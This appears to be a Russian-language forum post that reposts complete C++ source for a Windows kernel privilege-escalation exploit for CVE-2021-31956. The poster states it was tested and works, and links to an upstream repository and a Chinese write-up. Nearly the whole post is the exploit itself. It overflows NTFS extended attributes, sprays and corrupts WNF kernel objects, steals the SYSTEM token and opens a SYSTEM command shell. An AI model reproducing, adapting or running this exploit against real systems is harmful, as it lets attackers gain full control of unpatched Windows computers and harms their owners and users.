Пожалуйста, обратите внимание, что пользователь заблокирован
exploit.cpp
nt.h
p.s.
Проверил работает
Сплойт: https://github.com/aazhuliang/CVE-2021-31956-EXP
Инфа: https://bbs.pediy.com/thread-271140.htm
C++:
// ConsoleApplication11.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
#include "nt.h"
#include <sddl.h>
__ZwQueryEaFile NtQueryEaFile = NULL;
__ZwSetEaFile NtSetEaFile = NULL;
__NtCreateWnfStateName NtCreateWnfStateName = NULL;
__NtUpdateWnfStateData NtUpdateWnfStateData = NULL;
__NtQueryWnfStateData NtQueryWnfStateData = NULL;
__NtDeleteWnfStateData NtDeleteWnfStateData = NULL;
__NtDeleteWnfStateName NtDeleteWnfStateName = NULL;
WNF_STATE_NAME StateNames[SPRAY_COUNT] = { 0 };
UINT64 OVER_STATENAME = 0;
int initNtDll()
{
HMODULE hNtDll = NULL;
hNtDll = LoadLibrary("ntdll.dll");
if (hNtDll == NULL)
{
printf("load ntdll failed!\r\n");
return -1;
}
NtQueryEaFile = (__ZwQueryEaFile)GetProcAddress(hNtDll, "NtQueryEaFile");
NtSetEaFile = (__ZwSetEaFile)GetProcAddress(hNtDll, "ZwSetEaFile");
NtCreateWnfStateName = (__NtCreateWnfStateName)GetProcAddress(hNtDll, "NtCreateWnfStateName");
NtUpdateWnfStateData = (__NtUpdateWnfStateData)GetProcAddress(hNtDll, "NtUpdateWnfStateData");
NtQueryWnfStateData = (__NtQueryWnfStateData)GetProcAddress(hNtDll, "NtQueryWnfStateData");
NtDeleteWnfStateData = (__NtDeleteWnfStateData)GetProcAddress(hNtDll, "NtDeleteWnfStateData");
NtDeleteWnfStateName = (__NtDeleteWnfStateName)GetProcAddress(hNtDll, "NtDeleteWnfStateName");
if (NtQueryEaFile == NULL ||
NtSetEaFile == NULL ||
NtCreateWnfStateName == NULL ||
NtUpdateWnfStateData == NULL ||
NtQueryWnfStateData == NULL ||
NtDeleteWnfStateData == NULL ||
NtDeleteWnfStateName == NULL)
{
printf("not found functions\r\n");
return -1;
}
return 0;
}
int tiggerLeak()
{
PFILE_GET_EA_INFORMATION EaList = NULL;
PFILE_GET_EA_INFORMATION EaListCP = NULL;
PVOID eaData = NULL;
DWORD dwNumberOfBytesWritten = 0;
UCHAR payLoad[PAYLOAD_SIZE] = { 0 };
PFILE_FULL_EA_INFORMATION curEa = NULL;
HANDLE hFile = INVALID_HANDLE_VALUE;
IO_STATUS_BLOCK eaStatus = { 0 };
NTSTATUS rc;
PWNF_STATE_NAME_REGISTRATION PStateNameInfo = NULL;
PISECURITY_DESCRIPTOR pSecurity = NULL;
PUCHAR pd = NULL;
PUCHAR StateDataLock = NULL;
PUINT64 StateData = NULL;
PUINT64 StateName = NULL;
PUINT64 parent = NULL;
PUINT AllocatedSize = NULL;
PUINT DataSize = NULL;
int state = -1;
hFile = CreateFileA("payload",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("create the file failed\r\n");
goto ERROR_HANDLE;
}
WriteFile(hFile, "This files has an optional .COMMENTS EA\n",
strlen("This files has an optional .COMMENTS EA\n"),
&dwNumberOfBytesWritten, NULL);
curEa = (PFILE_FULL_EA_INFORMATION)payLoad;
curEa->Flags = 0;
curEa->EaNameLength = TIGGER_EA_NAME_LENGTH;
curEa->EaValueLength = TIGGER_EA_VALUE_LENGTH;
//align 4。
curEa->NextEntryOffset = (curEa->EaNameLength + curEa->EaValueLength + 3 + 9) & (~3);
memcpy(curEa->EaName, TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH);
RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, TIGGER_EA_VALUE_LENGTH, 'A');
curEa = (PFILE_FULL_EA_INFORMATION)((PUCHAR)curEa + curEa->NextEntryOffset);
curEa->NextEntryOffset = 0;
curEa->Flags = 0;
curEa->EaNameLength = OVER_EA_NAME_LENGTH;
curEa->EaValueLength = OVER_EA_VALUE_LENGTH;
memcpy(curEa->EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH);
RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, OVER_EA_VALUE_LENGTH, 0);
pd = (PUCHAR)(curEa);
AllocatedSize = (PUINT)(pd + 0x4 + 0x10);
DataSize = (PUINT)(pd + 0x8 + 0x10);
*AllocatedSize = OVER_STATEDATA_LENGTH;
*DataSize = OVER_STATEDATA_LENGTH;
rc = NtSetEaFile(hFile, &eaStatus, payLoad, sizeof(payLoad));
if (rc != 0)
{
printf("NtSetEaFile failed error code is %x\r\n", rc);
goto ERROR_HANDLE;
}
eaData = malloc(sizeof(payLoad));
if (eaData == NULL)
{
goto ERROR_HANDLE;
}
memset(eaData, 0, sizeof(payLoad));
EaList = (PFILE_GET_EA_INFORMATION)malloc(100);
if (EaList == NULL)
{
goto ERROR_HANDLE;
}
EaListCP = EaList;
memset(EaList, 0, 100);
memcpy(EaList->EaName, ".PA", strlen(".PA"));
EaList->EaNameLength = (UCHAR)strlen(".PA");
EaList->NextEntryOffset = 12; // align 4
EaList = (PFILE_GET_EA_INFORMATION)((PUCHAR)EaList + 12);
memcpy(EaList->EaName, ".PBB", strlen(".PBB"));
EaList->EaNameLength = (UCHAR)strlen(".PBB");
EaList->NextEntryOffset = 0;
rc = NtQueryEaFile(hFile, &eaStatus, eaData, KERNAL_ALLOC_SIZE, FALSE, EaListCP, 100, 0, TRUE);
state = 0;
ERROR_HANDLE:
if (hFile != INVALID_HANDLE_VALUE)
{
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
}
if (EaList != NULL)
{
free(EaListCP);
EaList = NULL;
}
if (eaData != NULL)
{
free(eaData);
eaData = NULL;
}
if (pSecurity != NULL)
{
free(pSecurity);
pSecurity = NULL;
}
return state;
}
int HeapSpray()
{
NTSTATUS state = 0;
PSECURITY_DESCRIPTOR pSD = nullptr;
BYTE upData[0xa0] = { 0 };
RtlFillMemory(upData, sizeof(upData), 'C');
if (!ConvertStringSecurityDescriptorToSecurityDescriptor("",
SDDL_REVISION_1, &pSD, nullptr))
{
return -1;
}
for (int i = 0; i < SPRAY_COUNT; i++)
{
state = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
if (state != 0)
{
return -1;
}
}
for (int i = 1; i < SPRAY_COUNT; i+=2)
{
state = NtDeleteWnfStateName(&StateNames[i]);
if (state != 0)
{
return -1;
}
StateNames[i].Data[0] = 0;
StateNames[i].Data[1] = 0;
state = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNames[i - 1], &upData, 0xa0, NULL, NULL, NULL, 0);
if (state != 0)
{
return -1;
}
}
for (int i = 0; i < SPRAY_COUNT; i += 4)
{
NtDeleteWnfStateData(&StateNames[i], NULL);
state = NtDeleteWnfStateName(&StateNames[i]);
if (state != 0)
{
return -1;
}
StateNames[i].Data[0] = 0;
StateNames[i].Data[1] = 0;
}
if (pSD)
{
LocalFree(pSD);
}
return 0;
}
int tigger(UINT64 StateName)
{
NTSTATUS state = 0;
UINT64 name = StateName;
BYTE upData[0x74] = { 0 };
RtlFillMemory(upData, sizeof(upData), 'A');
name ^= STATE_NAME_MASK;
state = NtUpdateWnfStateData((PWNF_STATE_NAME)&name, &upData, 0x70, NULL, NULL, NULL, 0);
return state;
}
int OverStateData(PWNF_STATE_NAME StateName, PUCHAR Buff)
{
NTSTATUS state = NtUpdateWnfStateData(StateName, (const void*)Buff, OVER_STATEDATA_LENGTH, NULL, NULL, NULL, 0);
return state;
}
NTSTATUS GetOverStateData(UINT64 StateName, PUCHAR Buff, PULONG size)
{
WNF_CHANGE_STAMP Stamp;
ULONG BufferSize = *size;
UINT64 name = StateName;
name ^= STATE_NAME_MASK;
NTSTATUS state = NtQueryWnfStateData((PWNF_STATE_NAME)&name, NULL, NULL, &Stamp, Buff, &BufferSize);
if (state != 0)
{
printf(__FUNCTION__ "failed size: %d state: %x\r\n", BufferSize, state);
return state;
}
*size = BufferSize;
return 0;
}
UINT64 GetProcessEprocess(UINT64 StateName, PUINT64 pid, UINT pidOffset=0x120, UINT eprocessOffset=0x128)
{
UCHAR Buff[0x3000] = { 0 };
ULONG BufferSize = 0x3000;
int state = GetOverStateData(StateName, Buff, &BufferSize);
if (state != 0)
{
printf(__FUNCTION__"filed %x\r\n", state);
return 0;
}
if (BufferSize == 0) //idle
{
*pid = 0;
return 0;
}
*pid = *((PUINT64)(Buff + pidOffset));
return *((PUINT64)(Buff + eprocessOffset));
}
int GetProcessName(UINT64 StateName, PCHAR name)
{
UCHAR Buff[0x5000] = { 0 };
ULONG BufferSize = 0x5000;
int state = GetOverStateData(StateName, Buff, &BufferSize);
if (state != 0)
{
printf(__FUNCTION__"filed %x\r\n", state);
return -1;
}
memcpy(name, Buff, 0x100 - 1);
return 0;
}
UINT64 GetProcessToken(UINT64 StateName)
{
UCHAR Buff[0x5000] = { 0 };
ULONG BufferSize = 0x5000;
int state = GetOverStateData(StateName, Buff, &BufferSize);
if (state != 0)
{
printf(__FUNCTION__" filed %x\r\n", state);
return -1;
}
return *(PUINT64)(Buff + 0x30);
}
NTSTATUS EnumProcessEprocess(PWNF_STATE_NAME StateName, PUCHAR Buff)
{
BOOL Isexist = FALSE;
for (int i = 0; i < SPRAY_COUNT; ++i)
{
if (*(PUINT64)StateName == *((PUINT64)&StateNames[i]))
{
Isexist = TRUE;
}
}
if (Isexist == FALSE)
{
printf("the wnf obj is deleted!!!\r\n");
return -1;
}
PWNF_NAME_INSTANCE NameIns = (PWNF_NAME_INSTANCE)(Buff + 0xa0 + 0x10);
UINT64 eProcess = (UINT64)NameIns->CreatorProcess;
if (eProcess == 0)
{
return -1;
}
NTSTATUS state = -1;
UINT64 entry = (UINT64)(eProcess + PROCESS_ID_OFFSET);
UINT64 systemEProcess = 0;
for (;;)
{
NameIns->StateData = (_WNF_STATE_DATA*)(entry);
state = OverStateData(StateName, Buff);
if (state != 0)
return -1;
UINT64 pid = 0;
UINT64 next = GetProcessEprocess(*(PULONGLONG)&(NameIns->StateName), &pid);
// handle idle process
if (pid == 0)
{
entry = entry + 0x269 - PROCESS_ID_OFFSET;
NameIns->StateData = (_WNF_STATE_DATA*)(entry);
state = OverStateData(StateName, Buff);
if (state != 0)
return -1;
next = GetProcessEprocess(*(PULONGLONG)&(NameIns->StateName), &pid, 0x6f, 0x77);
printf("EPROCESS: %llx PID: %lld\r\n", entry - 0x269, pid);
}
else
{
printf("EPROCESS: %llx PID: %lld\r\n", entry - PROCESS_ID_OFFSET, pid);
}
if (pid == 4)
{
printf("found system process\r\n");
systemEProcess = entry - PROCESS_ID_OFFSET;
break;
}
if (next == 0)
break;
entry = next - PROCESS_LIST_OFFSET + PROCESS_ID_OFFSET;
}
if (systemEProcess != 0)
{
NameIns->StateData = (_WNF_STATE_DATA*)(systemEProcess + TOKEN_OFFSET);
state = OverStateData(StateName, Buff);
if (state != 0)
return -1;
UINT64 token = GetProcessToken(*(PULONGLONG)&(NameIns->StateName));
UCHAR tokenBuff[0x5000] = { 0 };
ULONG tokenBufferSize = 0x5000;
NameIns->StateData = (_WNF_STATE_DATA*)(eProcess + TOKEN_OFFSET);
state = OverStateData(StateName, Buff);
if (state != 0)
return -1;
int state = GetOverStateData(*(PULONGLONG)&(NameIns->StateName), tokenBuff, &tokenBufferSize);
if (state != 0)
{
printf(" filed %x %d\r\n", state, __LINE__);
return -1;
}
*(PUINT64)(tokenBuff + 0x30) = token;
NameIns->StateData = (_WNF_STATE_DATA*)(eProcess + TOKEN_OFFSET + 4);
state = OverStateData(StateName, Buff);
if (state != 0)
{
printf(" filed %x %d\r\n", state , __LINE__);
return -1;
}
UINT64 name = *(PULONGLONG)&(NameIns->StateName);
name ^= STATE_NAME_MASK;
state = NtUpdateWnfStateData((PWNF_STATE_NAME)(&name), tokenBuff + 4, 0x100, NULL, NULL, NULL, 0);
if (state != 0)
{
printf("re token failed state: %x\r\n", state);
return -1;
}
STARTUPINFO StartupInfo = { 0 };
PROCESS_INFORMATION ProcessInformation = { 0 };
if (!CreateProcess("C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&StartupInfo,
&ProcessInformation))
{
printf("[-] Failed to Create Target Process: 0x%X\n", GetLastError());
return -1;
}
WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
}
return 0;
}
int main()
{
BOOL IsSuccess = FALSE;
UINT Count = 0;
PVOID pSelfEprocess = NULL;
if (initNtDll() != 0)
{
printf("initNtDll filed!\r\n");
goto PAUSE;
}
if (HeapSpray() != 0)
{
printf("HeapSpray filed!\r\n");
goto PAUSE;
}
RE_TRY:
if (Count++ >= 1000)
{
printf("exp filed!\r\n");
goto PAUSE;
}
if (tiggerLeak() != 0)
{
printf("tigger leak filed!\r\n");
goto PAUSE;
}
for (int i = 0; i < SPRAY_COUNT; i += 2)
{
WNF_CHANGE_STAMP Stamp;
ULONG BufferSize = 0xa0;
UCHAR Buff[OVER_STATEDATA_LENGTH] = { 0 };
if (StateNames[i].Data[0] == 0 && StateNames[i].Data[1] == 0)
continue;
NTSTATUS state = NtQueryWnfStateData(&StateNames[i], NULL, NULL, &Stamp, &Buff, &BufferSize);
if (state == 0xc0000023)
{
BufferSize = OVER_STATEDATA_LENGTH;
state = NtQueryWnfStateData(&StateNames[i], NULL, NULL, &Stamp, &Buff, &BufferSize);
if (state != 0)
{
;
}
else
{
PWNF_NAME_INSTANCE NameIns = (PWNF_NAME_INSTANCE)(Buff + 0xa0 + 0x10);
if (NameIns->Header.NodeByteSize == 0xa8 &&
NameIns->Header.NodeTypeCode == 0x903 &&
NameIns->RunRef.Ptr == NULL
)
{
if (EnumProcessEprocess(&StateNames[i], Buff) == 0)
{
IsSuccess = TRUE;
}
}
}
}
}
if (IsSuccess == FALSE)
goto RE_TRY;
IsSuccess = !IsSuccess;
PAUSE:
system("pause");
return 0;
}
nt.h
C:
#pragma once
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef NTSTATUS(NTAPI*__ZwQueryEaFile)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length,
BOOLEAN ReturnSingleEntry,
PVOID EaList,
ULONG EaListLength,
PULONG EaIndex,
BOOLEAN RestartScan
);
typedef NTSTATUS(NTAPI*__ZwSetEaFile)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length
);
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
typedef struct _FILE_GET_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR EaNameLength;
CHAR EaName[1];
} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION;
typedef struct _WNF_STATE_NAME {
ULONG Data[2];
} WNF_STATE_NAME, *PWNF_STATE_NAME;
typedef enum _WNF_STATE_NAME_LIFETIME
{
WnfWellKnownStateName,
WnfPermanentStateName,
WnfPersistentStateName,
WnfTemporaryStateName
} WNF_STATE_NAME_LIFETIME;
typedef enum _WNF_DATA_SCOPE
{
WnfDataScopeSystem,
WnfDataScopeSession,
WnfDataScopeUser,
WnfDataScopeProcess,
WnfDataScopeMachine
} WNF_DATA_SCOPE;
typedef struct _WNF_TYPE_ID
{
GUID TypeId;
} WNF_TYPE_ID, *PWNF_TYPE_ID;
typedef const WNF_TYPE_ID *PCWNF_TYPE_ID;
typedef NTSTATUS (NTAPI * __NtCreateWnfStateName)(
_Out_ PWNF_STATE_NAME StateName,
_In_ WNF_STATE_NAME_LIFETIME NameLifetime,
_In_ WNF_DATA_SCOPE DataScope,
_In_ BOOLEAN PersistData,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_ ULONG MaximumStateSize,
_In_ PSECURITY_DESCRIPTOR SecurityDescriptor
);
typedef ULONG WNF_CHANGE_STAMP, *PWNF_CHANGE_STAMP;
typedef NTSTATUS (NTAPI * __NtUpdateWnfStateData)(
_In_ PWNF_STATE_NAME StateName,
_In_reads_bytes_opt_(Length) const VOID * Buffer,
_In_opt_ ULONG Length,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_opt_ const PVOID ExplicitScope,
_In_ WNF_CHANGE_STAMP MatchingChangeStamp,
_In_ ULONG CheckStamp);
typedef NTSTATUS (NTAPI * __NtQueryWnfStateData)(
_In_ PWNF_STATE_NAME StateName,
_In_opt_ PWNF_TYPE_ID TypeId,
_In_opt_ const VOID * ExplicitScope,
_Out_ PWNF_CHANGE_STAMP ChangeStamp,
_Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,
_Inout_ PULONG BufferSize);
typedef struct _WNF_STATE_NAME_REGISTRATION
{
PVOID64 MaxStateSize;
PVOID64 TypeId;
PVOID64 SecurityDescriptor;
}WNF_STATE_NAME_REGISTRATION, *PWNF_STATE_NAME_REGISTRATION;
typedef NTSTATUS
(NTAPI * __NtDeleteWnfStateData)
(
_In_ PWNF_STATE_NAME StateName,
_In_opt_ const VOID *ExplicitScope
);
typedef NTSTATUS (NTAPI * __NtDeleteWnfStateName)(_In_ PWNF_STATE_NAME StateName);
extern __ZwSetEaFile NtSetEaFile;
extern __ZwQueryEaFile NtQueryEaFile;
extern __NtCreateWnfStateName NtCreateWnfStateName;
extern __NtUpdateWnfStateData NtUpdateWnfStateData;
extern __NtQueryWnfStateData NtQueryWnfStateData;
extern __NtDeleteWnfStateData NtDeleteWnfStateData;
extern __NtDeleteWnfStateName NtDeleteWnfStateName;
#define SPRAY_COUNT 10000
#define PAYLOAD_SIZE 1000
#define STATE_NAME_MASK 0x41C64E6DA3BC0074
#define TIGGER_EA_NAME ".PA"
#define OVER_EA_NAME ".PBB"
#define TIGGER_EA_NAME_LENGTH (UCHAR)(strlen(TIGGER_EA_NAME))
#define OVER_EA_NAME_LENGTH (UCHAR)(strlen(OVER_EA_NAME))
#define KERNAL_ALLOC_SIZE 0xae
#define FRIST_RAWSIZE ((KERNAL_ALLOC_SIZE) - (1))
#define TIGGER_EA_VALUE_LENGTH ((FRIST_RAWSIZE) - (TIGGER_EA_NAME_LENGTH) -(9))
// #define OVER_EA_VALUE_LENGTH (0x53 + 0x10)
#define OVER_EA_VALUE_LENGTH (0xf)
//#define OVER_STATENAME (0x517131)
#define OVER_STATEDATA_LENGTH 0x1000
extern UINT64 OVER_STATENAME ;
// extern UINT64 TIGGER_STATENAME;
#define TIGGER_STATENAME ((OVER_STATENAME) ^ (0x41C64E6DA3BC0074))
#define PROCESS_LIST_ENTRY_OFFSET 0x248
//NumberOfPrivatePages
#define IMAGE_FILE_NAME_OFFSET 0x398
struct _WNF_NODE_HEADER
{
USHORT NodeTypeCode; //0x0
USHORT NodeByteSize; //0x2
};
struct _EX_RUNDOWN_REF
{
union
{
ULONGLONG Count; //0x0
VOID* Ptr; //0x0
};
};
struct _RTL_BALANCED_NODE
{
union
{
struct _RTL_BALANCED_NODE* Children[2]; //0x0
struct
{
struct _RTL_BALANCED_NODE* Left; //0x0
struct _RTL_BALANCED_NODE* Right; //0x8
};
};
union
{
struct
{
UCHAR Red : 1; //0x10
UCHAR Balance : 2; //0x10
};
ULONGLONG ParentValue; //0x10
};
};
struct _WNF_STATE_NAME_STRUCT
{
ULONGLONG Version : 4; //0x0
ULONGLONG NameLifetime : 2; //0x0
ULONGLONG DataScope : 4; //0x0
ULONGLONG PermanentData : 1; //0x0
ULONGLONG Sequence : 53; //0x0
};
struct _EX_PUSH_LOCK
{
union
{
struct
{
ULONGLONG Locked : 1; //0x0
ULONGLONG Waiting : 1; //0x0
ULONGLONG Waking : 1; //0x0
ULONGLONG MultipleShared : 1; //0x0
ULONGLONG Shared : 60; //0x0
};
ULONGLONG Value; //0x0
VOID* Ptr; //0x0
};
};
struct _WNF_LOCK
{
struct _EX_PUSH_LOCK PushLock; //0x0
};
struct _RTL_AVL_TREE
{
struct _RTL_BALANCED_NODE* Root; //0x0
};
struct _WNF_SCOPE_INSTANCE
{
struct _WNF_NODE_HEADER Header; //0x0
struct _EX_RUNDOWN_REF RunRef; //0x8
enum _WNF_DATA_SCOPE DataScope; //0x10
ULONG InstanceIdSize; //0x14
VOID* InstanceIdData; //0x18
struct _LIST_ENTRY ResolverListEntry; //0x20
struct _WNF_LOCK NameSetLock; //0x30
struct _RTL_AVL_TREE NameSet; //0x38
VOID* PermanentDataStore; //0x40
VOID* VolatilePermanentDataStore; //0x48
};
struct _WNF_STATE_DATA
{
struct _WNF_NODE_HEADER Header; //0x0
ULONG AllocatedSize; //0x4
ULONG DataSize; //0x8
ULONG ChangeStamp; //0xc
};
typedef struct _WNF_NAME_INSTANCE
{
_WNF_NODE_HEADER Header; //0x0
_EX_RUNDOWN_REF RunRef; //0x8
_RTL_BALANCED_NODE TreeLinks; //0x10
_WNF_STATE_NAME_STRUCT StateName; //0x28
_WNF_SCOPE_INSTANCE* ScopeInstance; //0x30
_WNF_STATE_NAME_REGISTRATION StateNameInfo; //0x38
_WNF_LOCK StateDataLock; //0x50
_WNF_STATE_DATA* StateData; //0x58
ULONG CurrentChangeStamp; //0x60
VOID* PermanentDataStore; //0x68
struct _WNF_LOCK StateSubscriptionListLock; //0x70
struct _LIST_ENTRY StateSubscriptionListHead; //0x78
struct _LIST_ENTRY TemporaryNameListEntry; //0x88
PVOID CreatorProcess; //0x98
LONG DataSubscribersCount; //0xa0
LONG CurrentDeliveryCount; //0xa4
}WNF_NAME_INSTANCE, *PWNF_NAME_INSTANCE;
#define PROCESS_ID_OFFSET 0x1b8
#define TOKEN_OFFSET 0x320
#define PROCESS_LIST_OFFSET 0x2f0
p.s.
Проверил работает
Сплойт: https://github.com/aazhuliang/CVE-2021-31956-EXP
Инфа: https://bbs.pediy.com/thread-271140.htm